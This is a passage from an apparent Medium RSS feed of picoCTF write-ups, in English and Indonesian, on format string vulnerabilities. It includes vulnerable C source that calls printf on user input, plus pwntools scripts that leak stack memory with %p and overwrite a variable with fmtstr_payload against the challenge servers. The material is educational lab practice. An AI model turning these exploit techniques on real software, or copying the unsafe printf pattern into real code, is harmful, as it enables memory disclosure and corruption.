go...\n&quot;);<br><br>    // Read in the flag<br>    FILE *fd = fopen(&quot;flag.txt&quot;, &quot;r&quot;);<br>    fgets(flag, 64, fd);<br><br>    printf(&quot;%s&quot;, flag);<br>    fflush(stdout);<br>  }<br>  else {<br>    printf(&quot;sus = 0x%x\n&quot;, sus);<br>    printf(&quot;You can do better!\n&quot;);<br>    fflush(stdout);<br>  }<br><br>  return 0;<br>}</pre><p>We check the mitigation used in the Binary with the checksec command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/0*UwHGW4G5KCKGrSKC.png" /></figure><p>Based on the information we have, from the name of the challenge to its source code, this is an advanced introductory challenge related to a vulnerability known as <strong><em>Format String Vulnerability</em></strong>. This vulnerability occurs when we provide input as a format string to functions such as printf, sprintf, or fprintf without control, so that special characters such as %s, %x, or %n are not treated as ordinary text but as format instructions, allowing attackers to <strong><em>arbitrary read memory</em></strong>, <strong><em>arbitrary write</em></strong> to process memory, cause crashes, and even exploit it for <strong><em>RCE</em></strong> (<strong><em>Remote Code Execution</em></strong>).</p><p>If we look at the source code, there is only one function, namely the main function. If we explain how the program works, it will ask us to provide input to change the program’s mind, then our input will be printed again with printf(buf). Which, as usual, is the vulnerability of this program. Here is an overview of the program when it is running.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*UkySK3aZBpvAwoEW.png" /></figure><p>If we read the source code again, we will get a flag if we can change the sus variable from a value of 0x21737573 to 0x67616c66. To change it, we can use this <strong><em>Format String Attack</em></strong> to perform <strong><em>arbitrary write</em></strong>.</p><p>Now, since this is our first time trying to perform <strong><em>arbitrary write</em></strong> using <strong><em>Format String Attack</em></strong>, we need to know that our input will definitely be stored in a stack first. With <strong><em>Format String Attack</em></strong>, we can find out at which offset our input is stored. Why is this important?</p><p>The reason is that if we try to perform <strong><em>arbitrary write</em></strong> to change the value of a variable in the stack, we must perform the write after the offset. Only then will the value change there. So we just need to find out approximately where our input is stored in the offset with a little Python.</p><pre>from pwn import *<br><br>elf = context.binary = ELF(&quot;./vuln&quot;)<br>online = remote(&quot;rhea.picoctf.net&quot;, 56879)<br>fuzz = b&#39;%p.&#39; * 30<br><br>online.sendline(fuzz)<br>print(online.recvall().decode())</pre><p>To explain further, this program will attempt to perform fuzzing where we try to send %p. repeatedly 30 times and then look at all the outputs. If run, this is the result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*LOHTtNJ6Rx1gRG2V.png" /></figure><p>Here, we can see that we get various hex pointers stored in the stack. However, if we look closely, the initial output from the program displays hex pointers with random values. But over time, the program displays hex pointer values that are the same between each other, forming a pattern.</p><p>If it’s not clear, here are the results in code.</p><pre>Here&#39;s your input: 0x402075.(nil).0x71e8f5c30a00.(nil).0x3b95a2b0.0x71e8f5c82af0.0x71e8f5c594e8.0x9.0x71e8f5c59de9.0x71e8f5a2a098.0x71e8f5c464d0.(nil).0x7ffc64d005d0.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x71e8f5002e70.0x71e8f5c488d8.0x71e8f5c551d4.0x218.0x71e8f5a1bb8c.0x1140.</pre><p>Well, you can see that each hex pointer is separated by a . so we can calculate the offset. We know that initially all values appear random, but at hex pointer of 14 the values start to change and form a pattern like this.</p><pre>0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e</pre><p>Which seems to be our input in the form of %p. repeated in hex. Now, to prove that the offset is at number 14, let’s just change the fuzzing script a little bit to look like this.</p><pre>from pwn import *<br><br>elf = context.binary = ELF(&quot;./vuln&quot;)<br>online = remote(&quot;rhea.picoctf.net&quot;, 56724)<br>fuzz = b&#39;A&#39; * 8 + b&#39;%p.&#39; * 30<br><br>online.sendline(fuzz)<br>print(online.recvall().decode())</pre><p>To explain further, this Python script previously only sent %p. repeatedly, but now before sending %p. repeatedly, it will first send the letter A eight times, and only then will the program send %p. repeatedly again. Why is this? Because we will know where our letter A is in the offset. Usually, if the letter A is placed in the stack, its hex value will be 0x41. If there are many A’s, it will become 0x414141 repeatedly. So if there is 0x4141 in the output, that is the offset. Here are the results when run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*gsv8m4o2KlLJD52O.png" /></figure><p>We can see that there is now 0x4141414141414141, which is the string of letters A that we sent, so we just count hex-by-hex and find the offset at number 14.</p><p>Now that we know the offset is at number 14, we can try to perform a <strong><em>Format String Attack</em></strong> at offset 14 to overwrite the value of the sus variable from the previous 0x21737573 to 0x67616c66.</p><p>So now, how do we do that? After trying to find out more, we discovered that we can use pwntools, which has a built-in function called fmtstr_payload that is useful for performing <strong><em>Format String Attacks</em></strong>. This function makes it easier for us to perform overwrites.</p><p>Since we want to overwrite the sus variable from its previous value of 0x21737573 to 0x67616c66, we first need to find out where the sus variable is located. To find this out, we need to know the address of the sus variable. Let’s try to find the address of the sus variable using objdump (too lazy to use pwndbg) and here are the results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/0*MnE3Tp89J_ANMaTI.png" /></figure><p>Now that we know the address of the sus variable is 0x404060, we use fmtstr_payload to overwrite the value of the sus variable at address 0x404060 from its previous value of 0x21737573 to 0x67616c66. Here’s the solver.</p><pre>from pwn import *<br><br>context.binary = ELF(&quot;./vuln&quot;)<br>online = remote(&quot;rhea.picoctf.net&quot;, 56724)<br>payload = fmtstr_payload(14, {int(&#39;0x404060&#39;, 16): int(&#39;0x67616c66&#39;, 16)})<br><br>online.sendline(payload)<br>online.recvuntil(b&#39;...\n&#39;)<br>print(&quot;\nFlag :&quot;, online.recvuntil(b&#39;}&#39;).decode(), &quot;\n&quot;)<br><br>online.close()</pre><p>And this is the result when it is run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/0*7Wc3u-JqzuIZFLzR.png" /></figure><p><strong>FLAG : picoCTF{f0rm47_57r?_f0rm47_m3m_99fd82cd}</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ca948092dd2a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoGym (Binary Exploitation): Format String 2 (IDN Ver.)]]></title>
            <link>https://medium.com/@rasshaaa_.13/picogym-binary-exploitation-format-string-2-idn-ver-8839085951b6?source=rss-c577abab7da6------2</link>
            <guid isPermaLink="false">https://medium.com/p/8839085951b6</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[format-string-exploit]]></category>
            <dc:creator><![CDATA[Rasshaaa]]></dc:creator>
            <pubDate>Thu, 02 Oct 2025 05:03:52 GMT</pubDate>
            <atom:updated>2025-10-02T05:06:33.006Z</atom:updated>
            <content:encoded><![CDATA[<p>Ini writeup for learning purposes. Jadi akan dijelaskan se-detail mungkin tetapi juga se-simpel mungkin. Jadi mohon maaf kalo kepanjangan hehe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/303/0*KPJ9YQTEokwJvhfp.png" /></figure><p>Pada challenge kali ini, kita akan berurusan dengan <strong>Binary Exploitation</strong> dan salah satu challenge difficulty Medium yang sudah diselesaikan yaitu “Format String 2”, berikut pembahasannya.</p><p>Kita diberikan deskripsi seperti ini :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*EYYsEdQI2xMJ0Zwy4i45QQ.png" /></figure><p>Diberikan 2 attachment yakni file Binary ELF (Executable and Linkable Format) bernama vuln dan file source code dari Binary ELF tersebut yakni vuln.c dengan kode seperti berikut.</p><pre>#include &lt;stdio.h&gt;<br><br>int sus = 0x21737573;<br><br>int main() {<br>  char buf[1024];<br>  char flag[64];<br><br><br>  printf(&quot;You don&#39;t have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n&quot;);<br>  fflush(stdout);<br>  scanf(&quot;%1024s&quot;, buf);<br>  printf(&quot;Here&#39;s your input: &quot;);<br>  printf(buf);<br>  printf(&quot;\n&quot;);<br>  fflush(stdout);<br><br>  if (sus == 0x67616c66) {<br>    printf(&quot;I have NO clue how you did that, you must be a wizard. Here you go...\n&quot;);<br><br>    // Read in the flag<br>    FILE *fd = fopen(&quot;flag.txt&quot;, &quot;r&quot;);<br>    fgets(flag, 64, fd);<br><br>    printf(&quot;%s&quot;, flag);<br>    fflush(stdout);<br>  }<br>  else {<br>    printf(&quot;sus = 0x%x\n&quot;, sus);<br>    printf(&quot;You can do better!\n&quot;);<br>    fflush(stdout);<br>  }<br><br>  return 0;<br>}</pre><p>Kita cek mitigasi yang digunakan dalam Binary tersebut dengan command checksec.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*ELqVqBgE206CW78eUgJa9A.png" /></figure><p>Berdasarkan informasi yang kita dapat mulai dari nama challenge hingga source code nya, ini merupakan challenge perkenalan lanjutan kedua terkait vulnerability yang dikenal sebagai <strong><em>Format String Vulnerability</em></strong>. Dimana vulnerability ini terjadi apabila kita memberikan input sebagai format string pada function kayak printf, sprintf, atau fprintf tanpa kontrol, sehingga special characters kayak %s, %x, atau %n jadi gak dianggap sebagai teks biasa melainkan format instructions sehingga attacker bisa <strong><em>arbitrary read memory</em></strong>, <strong><em>arbitrary write</em></strong> ke process memory, menyebabkan crash bahkan bisa dimanfaatkan untuk <strong><em>RCE</em></strong> (<strong><em>Remote Code Execution</em></strong>).</p><p>Jika dilihat pada source code, hanya terdapat 1 function yakni function main yang jika dijelaskan jalan kerja dari programnya maka program akan meminta kita untuk memberikan input untuk mengubah pikiran program, lalu inputan kita akan di-print kembali dengan printf(buf) yang seperti biasa merupakan letak vulnerability dari program ini. Berikut gambaran dari programnya saat dijalankan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*KlqNtNkfAsDqvZta8eN7Wg.png" /></figure><p>Jika kita baca lagi source code nya, kita akan mendapatkan flag jika variabel sus bisa kita ubah dari yang value nya 0x21737573 jadi 0x67616c66. Nah untuk mengubahnya maka kita bisa menggunakan <strong><em>Format String Attack</em></strong> ini untuk melakukan <strong><em>arbitrary write</em></strong>.</p><p>Nah, karena kita baru pertama kali mencoba untuk melakukan <strong><em>arbitrary write</em></strong> menggunakan <strong><em>Format String Attack</em></strong>, maka hal yang harus kita ketahui adalah input kita pasti akan disimpan terlebih dahulu di suatu stack. Nah dengan <strong><em>Format String Attack</em></strong> kita bisa mengetahui inputan kita disimpan di offset ke berapa. Kenapa ini penting?</p><p>Alasannya karena kalau kita mencoba untuk melakukan <strong><em>arbitrary write</em></strong> untuk mengubah value dari suatu variabel yang ada di dalam stack, maka kita harus melakukan write nya setelah offset. Barulah value nya akan berubah disitu. Sehingga kita hanya perlu mencari kira-kira inputan kita disimpan di offset ke berapa dengan sedikit Python.</p><pre>from pwn import *<br><br>elf = context.binary = ELF(&quot;./vuln&quot;)<br>online = remote(&quot;rhea.picoctf.net&quot;, 56879)<br>fuzz = b&#39;%p.&#39; * 30<br><br>online.sendline(fuzz)<br>print(online.recvall().decode())</pre><p>Jika dijelaskan kembali, program ini akan mencoba untuk melakukan fuzzing dimana kita mencoba untuk mengirimkan %p. secara berulang sebanyak 30 kali lalu melihat semua outputnya. Jika di-run maka ini hasilnya.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VjddahzcHKzBuShd7Gb5MQ.png" /></figure><p>Nah disini kita bisa melihat kalau kita mendapatkan berbagai hex pointers yang tersimpan di dalam stack. Namun jika dilihat dengan baik, awal-awalnya output dari prorgram menampilkan hex pointers yang value nya random. Namun lama kelamaan program menampilkan value hex pointers yang sama antara satu sama lain membentuk suatu pola.</p><p>Kalau kurang jelas, berikut hasilnya dalam code.</p><pre>Here&#39;s your input: 0x402075.(nil).0x71e8f5c30a00.(nil).0x3b95a2b0.0x71e8f5c82af0.0x71e8f5c594e8.0x9.0x71e8f5c59de9.0x71e8f5a2a098.0x71e8f5c464d0.(nil).0x7ffc64d005d0.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x71e8f5002e70.0x71e8f5c488d8.0x71e8f5c551d4.0x218.0x71e8f5a1bb8c.0x1140.</pre><p>Nah terlihat, kalau masing-masing hex pointers terpisah dengan sebuah . sehingga kita bisa menghitung offsetnya dimana. Nah diketahui kalau awalnya semua value nampak random, namun di hex pointers ke 14 value nya mulai berubah dan membentuk suatu pola seperti ini.</p><pre>0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e</pre><p>Yang dimana sepertinya ini merupakan inputan kita yang berupa %p. berulang itu dalam hex. Nah untuk membuktikan kalau offset nya ada di angka 14, maka kita ubah saja sedikit script fuzzing nya jadi seperti ini.</p><pre>from pwn import *<br><br>elf = context.binary = ELF(&quot;./vuln&quot;)<br>online = remote(&quot;rhea.picoctf.net&quot;, 56724)<br>fuzz = b&#39;A&#39; * 8 + b&#39;%p.&#39; * 30<br><br>online.sendline(fuzz)<br>print(online.recvall().decode())</pre><p>Jika dijelaskan juga, script Python ini sebelumnya hanya mengirim %p. secara berulang, namun sekarang sebelum mengirim %p. secara berulang dia akan mengirim huruf A sebanyak 8 huruf terlebih dahulu, baru setelah itu program akan mengirim %p. kembali secara berulang. Kenapa seperti ini? Karena kita akan tau dimana huruf A kita ada di dalam offset ke berapa. Biasanya huruf A nya jika ditaruh di dalam stack maka nilai hex nya akan menjadi 0x41. Jika A nya ada banyak dia akan menjadi 0x414141 berulang. Sehingga kalau ada 0x4141 di dalam output nya, maka itulah offset nya. Berikut hasilnya saat di-run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7i8SXFs6AzgKzmeEwEwyAw.png" /></figure><p>Terlihat kalau sekarang sudah ada 0x4141414141414141 yang dimana ini merupakan strings huruf A yang kita kirim, maka kita hitung saja per-hex dan ditemukan offset nya yakni di angka ke 14.</p><p>Sekarang kita sudah tahu offset nya di angka 14, maka kita bisa mencoba untuk melakukan <strong><em>Format String Attack</em></strong> di offset ke 14 untuk overwrite value dari variabel sus dari yang sebelumnya 0x21737573 jadi 0x67616c66 .</p><p>Nah sekarang, bagaimana caranya? Setelah mencoba untuk mencari tahu lebih lanjut, ternyata ditemukanlah kalau kita bisa menggunakan pwntools yang dimana terdapat function yang sudah builtin yang berguna untuk melakukan <strong><em>Format String Attack</em></strong> yang bernama fmtstr_payload. Dimana ini membuat kita bisa melakukan overwrite lebih mudah dengan function ini.</p><p>Nah karena kita ingin overwrite variabel sus dari yang value nya sebelumnya 0x21737573 jadi 0x67616c66 maka kita harus mencari tau terlebih dahulu letak variabel sus dimana. Nah untuk mengetahuinya, kita harus mengetahui kalau variabel sus itu address nya ada dimana. Langsung saja kita coba cari address dari variabel sus dengan objdump (lagi malas pake pwndbg) dan ini hasilnya.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*CF9pjnJlP8cDLE30d8C28w.png" /></figure><p>Nah karena kita sekarang sudah mendapatkan kalau variabel sus itu address nya adalah 0x404060, maka kita menggunakan fmtstr_payload untuk meng-overwrite value dari variabel sus yang berada di address 0x404060 dari yang sebelumnya 0x21737573 jadi 0x67616c66. Berikut solvernya.</p><pre>from pwn import *<br><br>context.binary = ELF(&quot;./vuln&quot;)<br>online = remote(&quot;rhea.picoctf.net&quot;, 56724)<br>payload = fmtstr_payload(14, {int(&#39;0x404060&#39;, 16): int(&#39;0x67616c66&#39;, 16)})<br><br>online.sendline(payload)<br>online.recvuntil(b&#39;...\n&#39;)<br>print(&quot;\nFlag :&quot;, online.recvuntil(b&#39;}&#39;).decode(), &quot;\n&quot;)<br><br>online.close()</pre><p>Dan ini hasilnya saat di-run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/1*uYUo7og4TB6zk8CA2AEOQw.png" /></figure><p><strong>FLAG : picoCTF{f0rm47_57r?_f0rm47_m3m_99fd82cd}</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8839085951b6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoGym (Binary Exploitation): Format String 1 (English Ver.)]]></title>
            <link>https://medium.com/@rasshaaa_.13/picogym-binary-exploitation-format-string-1-english-ver-0bef80dc2ef5?source=rss-c577abab7da6------2</link>
            <guid isPermaLink="false">https://medium.com/p/0bef80dc2ef5</guid>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[format-string-exploit]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Rasshaaa]]></dc:creator>
            <pubDate>Tue, 30 Sep 2025 16:48:08 GMT</pubDate>
            <atom:updated>2025-09-30T16:48:08.631Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a write-up for learning purposes. So it will be explained in as much detail as possible, but also as simply as possible. So I apologize if it’s too long, hehe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/303/0*V0k3lXTqlZITPjCP.png" /></figure><p>In this challenge, we will deal with <strong>Binary Exploitation</strong> and one of the Medium difficulty challenges that has been completed, namely “Format String 1”. Here is the discussion.</p><p>We are given this description :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/0*pOY6QknV-ORCDes6.png" /></figure><p>Two attachments are provided: a Binary ELF (Executable and Linkable Format) file named format-string-1 and the source code file for that Binary ELF file, format-string-1.c, with the following code.</p><pre>#include &lt;stdio.h&gt;<br><br><br>int main() {<br>  char buf[1024];<br>  char secret1[64];<br>  char flag[64];<br>  char secret2[64];<br><br>  // Read in first secret menu item<br>  FILE *fd = fopen(&quot;secret-menu-item-1.txt&quot;, &quot;r&quot;);<br>  if (fd == NULL){<br>    printf(&quot;&#39;secret-menu-item-1.txt&#39; file not found, aborting.\n&quot;);<br>    return 1;<br>  }<br>  fgets(secret1, 64, fd);<br>  // Read in the flag<br>  fd = fopen(&quot;flag.txt&quot;, &quot;r&quot;);<br>  if (fd == NULL){<br>    printf(&quot;&#39;flag.txt&#39; file not found, aborting.\n&quot;);<br>    return 1;<br>  }<br>  fgets(flag, 64, fd);<br>  // Read in second secret menu item<br>  fd = fopen(&quot;secret-menu-item-2.txt&quot;, &quot;r&quot;);<br>  if (fd == NULL){<br>    printf(&quot;&#39;secret-menu-item-2.txt&#39; file not found, aborting.\n&quot;);<br>    return 1;<br>  }<br>  fgets(secret2, 64, fd);<br><br>  printf(&quot;Give me your order and I&#39;ll read it back to you:\n&quot;);<br>  fflush(stdout);<br>  scanf(&quot;%1024s&quot;, buf);<br>  printf(&quot;Here&#39;s your order: &quot;);<br>  printf(buf);<br>  printf(&quot;\n&quot;);<br>  fflush(stdout);<br><br>  printf(&quot;Bye!\n&quot;);<br>  fflush(stdout);<br><br>  return 0;<br>}</pre><p>We check the mitigation used in the Binary with the checksec command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/0*goQvrR1unWFP7SVP.png" /></figure><p>Based on the information we have, from the name of the challenge to its source code, this is an advanced introductory challenge related to a vulnerability known as <strong><em>Format String Vulnerability</em></strong>. This vulnerability occurs when we provide input as a format string to functions such as printf, sprintf, or fprintf without control, so that special characters such as %s, %x, or %n are not treated as ordinary text but as format instructions, allowing attackers to <strong><em>arbitrary read memory</em></strong>, <strong><em>arbitrary write</em></strong> to process memory, cause crashes, and even exploit it for <strong><em>RCE</em></strong> (<strong><em>Remote Code Execution</em></strong>).</p><p>If you look at the source code, there is only one function, namely the main function, which, when explained, will run the program where we provide input in the form of the order we want, then the program will display the order we typed earlier. It’s more or less like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/0*gjSSXECklkvXQJ1q.png" /></figure><p>Well, if we read the source code, the program displays the input we provided with printf(buf), so this is where the vulnerability of this ELF binary lies. However, we must first find out where the flag is located.</p><p>If we read the source code again, we also learn that the program will open a total of 3 files, namely secret-menu-item-1.txt, secret-menu-item-2.txt, and flag.txt. However, the program opens them using fgets(secret1, 64, fd);, fgets(secret2, 64, fd);, and fgets(flag, 64, fd);, which places the contents of the three files, which are strings, in the stack memory.</p><p>Now we know the location of the flag in the stack memory. Furthermore, because Format String Vulnerability is usually used to leak either the Canary Address or even Strings in the Stack as hex pointers, we can leak the contents of the strings in the Stack using the format specifier %p.</p><p>We now only need to repeatedly send this format specifier to the binary program. When the program displays our input back using printf, it will display all the hex values within the stack. Let’s try it with a little Python.</p><pre>from pwn import *<br><br>payload = &#39;.&#39;.join([f&#39;%p&#39; for i in range(30)])<br>online = remote(&quot;mimas.picoctf.net&quot;, 60512)<br>online.recvline().decode()<br>online.sendline(payload.encode())<br><br>print(online.recvline().decode())<br><br>online.close()</pre><p>When explained, the program will send %p repeatedly 30 times, then each %p is separated by ‘.’ so that we can read the results more easily because they are limited. So we run it immediately and this is the result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*c4rVisUuAGK1bBLn.png" /></figure><p>From here, we get many hex pointers that may contain flags. However, keep in mind that this program runs on a little-endian architecture. Why is that?</p><p>If we send %p, the program will run printf(“%p”), which will print the 64-bit value in big-endian hex order, such as 0x6c6c6548 (example). However, when a string such as “Hello\0” that we send is stored in memory on a little-endian architecture, the 8-byte word read as an integer value will be reversed when extracted byte-by-byte from the hex string. Therefore, after converting hex to bytes (without 0x), we must reverse the byte order with ([::-1]) to get the correct ASCII order so that the resulting string is not reversed (we should get “Hello”, but instead we get “olleH”).</p><p>So, let’s just create a solver that matches what has been explained above, something like this.</p><pre>from pwn import *<br><br>payload = &#39;.&#39;.join([f&#39;%p&#39; for i in range(30)])<br>online = remote(&quot;mimas.picoctf.net&quot;, 57785)<br>online.recvline().decode()<br>online.sendline(payload.encode())<br><br>response = online.recvline().decode()<br>hex_pointers = re.findall(r&#39;0x[0-9a-fA-F]+&#39;, response)<br><br>flag = []<br>for i, ptr in enumerate(hex_pointers):<br>    h = ptr[2:]<br>    h = h.zfill(16)<br>    b = bytes.fromhex(h)<br>    r = b[::-1]<br>    string = r.decode(&quot;ascii&quot;, errors=&#39;ignore&#39;)<br>    result = flag.append(string)<br><br>print(flag)<br>online.close()</pre><p>This program is a continuation of the previous payload delivery, with the addition that all results related to hex pointers will be placed in the hex_pointers variable, then the hex value will be taken but without 0x, which is done by taking the next 2 values using [2:], then after that, everything must be rounded up to a total of 16 bytes with zfill(16), only then will the hex be converted into bytes with bytes. fromhex(h) and reversed with [::-1], then decoded and inserted into the flag variable as an array and printed. This is the result when we run it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*fLl7gC7jG36FiHDZ.png" /></figure><p>So it appears that there is indeed data such as a secret menu and also a flag there that has been decoded. However, because the output is still messy, let’s just calculate at which part the flag appears (the offset of the hex pointers containing the flag string). If we calculate it, it starts at around 10, so let’s just take the specific values around there until we get the initial value as the flag. We modify our solver slightly to look like this.</p><pre>from pwn import *<br><br>payload = &#39;.&#39;.join([f&#39;%{i}$p&#39; for i in range(13, 30)])<br>online = remote(&quot;mimas.picoctf.net&quot;, 57785)<br>online.recvline().decode()<br>online.sendline(payload.encode())<br><br>response = online.recvline().decode()<br>hex_pointers = re.findall(r&#39;0x[0-9a-fA-F]+&#39;, response)<br><br>flag = []<br>for i, ptr in enumerate(hex_pointers):<br>    h = ptr[2:]<br>    h = h.zfill(16)<br>    b = bytes.fromhex(h)<br>    r = b[::-1]<br>    string = r.decode(&quot;ascii&quot;, errors=&#39;ignore&#39;)<br>    result = flag.append(string)<br><br>print(flag)<br>online.close()</pre><p>And here’s the result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*kl2lk9_qTQU0TIhn.png" /></figure><p>Now the initial value is the flag. However, since other outputs are also visible, we make it cleaner so that it only contains the flag. If earlier it was range(10, 30), then we look for the final value until we find the end of the flag. And we find it at number 19. Let’s just change it to this.</p><pre>from pwn import *<br><br>payload = &#39;.&#39;.join([f&#39;%{i}$p&#39; for i in range(13, 19)])<br>online = remote(&quot;mimas.picoctf.net&quot;, 57785)<br>online.recvline().decode()<br>online.sendline(payload.encode())<br><br>response = online.recvline().decode()<br>hex_pointers = re.findall(r&#39;0x[0-9a-fA-F]+&#39;, response)<br><br>flag = []<br>for i, ptr in enumerate(hex_pointers):<br>    h = ptr[2:]<br>    h = h.zfill(16)<br>    b = bytes.fromhex(h)<br>    r = b[::-1]<br>    string = r.decode(&quot;ascii&quot;, errors=&#39;ignore&#39;)<br>    result = flag.append(string)<br><br>print(flag)<br>online.close()</pre><p>And here’s the result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/0*IqTsuMW5pH-7rZEE.png" /></figure><p>From here, we can see that only the flag remains. However, since it is still in array format, we only need to change our hex pointer retrieval method to support strings. So, we slightly modify our solver to look like this.</p><pre>from pwn import *<br><br>payload = &#39;.&#39;.join([f&#39;%{i}$p&#39; for i in range(13, 19)])<br>online = remote(&quot;mimas.picoctf.net&quot;, 57256)<br>online.sendline(payload.encode())<br><br>hex_pointers = re.findall(r&#39;0x[0-9a-fA-F]+&#39;, online.recvall().decode())<br><br>flag = []<br>for i, ptr in enumerate(hex_pointers):<br>    h = ptr[2:].zfill(14)<br>    result = flag.append(bytes.fromhex(h)[::-1].decode())<br><br>print(&quot;\nFlag :&quot;, &#39;&#39;.join(flag), &quot;\n&quot;)<br>online.close()</pre><p>By appending all lists and then joining them, simplifying the process within the for loop into a one-liner, and revising the hex completion from the previous 16 bytes to 14 bytes to remove the null byte at the end, the above solver was created. When run, this is the result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/0*nuQ85It0yaqcHFd9.png" /></figure><p>Alternative:</p><p>Since the flag was previously a list and had to be appended and then joined to obtain the complete flag, after trying various methods, I finally found a different method of obtaining hex pointers that also supports strings from the start. Here is the new solver.</p><pre>from pwn import *<br><br>context.binary = ELF(&quot;./format-string-1&quot;)<br>payload = &#39;&#39;.join([f&#39;%{i}$p.&#39; for i in range(13, 19)])<br>online = remote(&quot;mimas.picoctf.net&quot;, 57256)<br><br>online.sendline(payload.encode())<br>hexes = re.findall(r&#39;0x[0-9a-fA-F]+&#39;, online.recvall().decode())<br><br>flag = &#39;&#39;<br>for i, hx in enumerate(hexes):<br>    raw = hx[2:]<br>    flag += bytes.fromhex(raw)[::-1].decode()<br><br>print(&quot;\nFlag :&quot;, flag)<br>online.close()</pre><p>And here’s the result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/0*ltODjiWFN4Bs_Qkt.png" /></figure><p><strong>FLAG : picoCTF{4n1m41_57y13_4x4_f14g_9135fd4e}</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0bef80dc2ef5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoGym (Binary Exploitation): Format String 1 (IDN Ver.)]]></title>
            <link>https://medium.com/@rasshaaa_.13/picogym-binary-exploitation-format-string-1-idn-ver-dc98efa5d8be?source=rss-c577abab7da6------2</link>
            <guid isPermaLink="false">https://medium.com/p/dc98efa5d8be</guid>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[format-string-exploit]]></category>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Rasshaaa]]></dc:creator>
            <pubDate>Mon, 29 Sep 2025 14:38:48 GMT</pubDate>
            <atom:updated>2025-09-30T16:18:11.010Z</atom:updated>
            <content:encoded><![CDATA[<p>Ini writeup for learning purposes. Jadi akan dijelaskan se-detail mungkin tetapi juga se-simpel mungkin. Jadi mohon maaf kalo kepanjangan hehe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/303/0*S9a29ep4zr7eIEYH.png" /></figure><p>Pada challenge kali ini, kita akan berurusan dengan <strong>Binary Exploitation</strong> dan salah satu challenge difficulty Medium yang sudah diselesaikan yaitu “Format String 1”, berikut pembahasannya.</p><p>Kita diberikan deskripsi seperti ini :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*iKRpFp1CkXGB7UcQun5TXQ.png" /></figure><p>Diberikan 2 attachment yakni file Binary ELF (Executable and Linkable Format) bernama format-string-1 dan file source code dari Binary ELF tersebut yakni format-string-1.c dengan kode seperti berikut.</p><pre>#include &lt;stdio.h&gt;<br><br><br>int main() {<br>  char buf[1024];<br>  char secret1[64];<br>  char flag[64];<br>  char secret2[64];<br><br>  // Read in first secret menu item<br>  FILE *fd = fopen(&quot;secret-menu-item-1.txt&quot;, &quot;r&quot;);<br>  if (fd == NULL){<br>    printf(&quot;&#39;secret-menu-item-1.txt&#39; file not found, aborting.\n&quot;);<br>    return 1;<br>  }<br>  fgets(secret1, 64, fd);<br>  // Read in the flag<br>  fd = fopen(&quot;flag.txt&quot;, &quot;r&quot;);<br>  if (fd == NULL){<br>    printf(&quot;&#39;flag.txt&#39; file not found, aborting.\n&quot;);<br>    return 1;<br>  }<br>  fgets(flag, 64, fd);<br>  // Read in second secret menu item<br>  fd = 